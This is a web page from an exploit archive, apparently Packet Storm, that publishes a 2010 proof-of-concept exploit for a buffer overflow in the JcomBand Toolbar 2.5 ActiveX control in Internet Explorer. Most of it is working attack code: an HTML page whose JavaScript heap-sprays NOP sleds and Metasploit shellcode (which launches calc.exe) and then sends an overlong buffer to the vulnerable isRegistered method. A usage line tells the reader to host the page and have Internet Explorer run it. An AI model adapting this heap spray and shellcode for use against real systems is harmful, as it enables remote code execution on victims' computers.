exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JcomBand ActiveX Buffer Overflow

JcomBand ActiveX Buffer Overflow
Posted Jan 7, 2010
Authored by D3V!L FucK3r, germaya_x

JcomBand Toolbar version 2.5 on Internet Explorer Active-X buffer overflow proof of concept exploit that spawns calc.exe.

tags | exploit, overflow, activex, proof of concept
SHA-256 | b017938670139dcb5c76147172c20264dd2bb621b6fbec6eda5fd463695ed5cd

JcomBand ActiveX Buffer Overflow

Change Mirror Download
############################################################################################################################
#soft: [JcomBand toolbar on Internet Explorer ActiveX Buffer Overflow Exploit]
#Author: [germaya_x & D3V!L FUCKER]
#Date: [2010/01/03]
#Tested on: [Internet Explorer 6.0 ,7.0 ,8.0 (windows xp service pack2)]
#Software Link: [http://www.always.pe.kr/ko/pds/JcomBand25.zip]
#Version: [2.5]
#special thanx: [for my best friend his0k4].
#Geetz [2] :[Sarbot511 ,thrid-devil].
#usage : [put the code of exploit in html page then run it by Internet Explorer and allow activeX to run =========>booooom!!]
############################################################################################################################

<html>
<head>
<title>JcomBand Exploit (heap spray) </title>
<object classid='clsid:952E3F80-0C34-48CD-829B-A45913B29670' id='test'></object>
<script language='javascript'>

//calc from metasploit
shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

//Filling the header of our block with nops
while(nops.length< slackspace) nops+= nops;

fillblock= nops.substring(0, slackspace);

block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x40000) block= block+ block+ fillblock;

//Creating new memory array.
memory=new Array();

//Filling the memory array with the nops + shellcode.
for( counter=0; counter<300; counter++) memory[counter]= block + shellcode;

// the ret is the adress of our shellcode in the heap.
ret='%0a%0a%0a%0a';

// filling our buffer with ret adress
for( counter=0; counter<=50; counter++) ret+=unescape('%0a%0a%0a%0a');

// passing the buffer argument to the vulnerable function JumpMappedID().
test.isRegistered(ret);
</script>
</head>
</html>


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close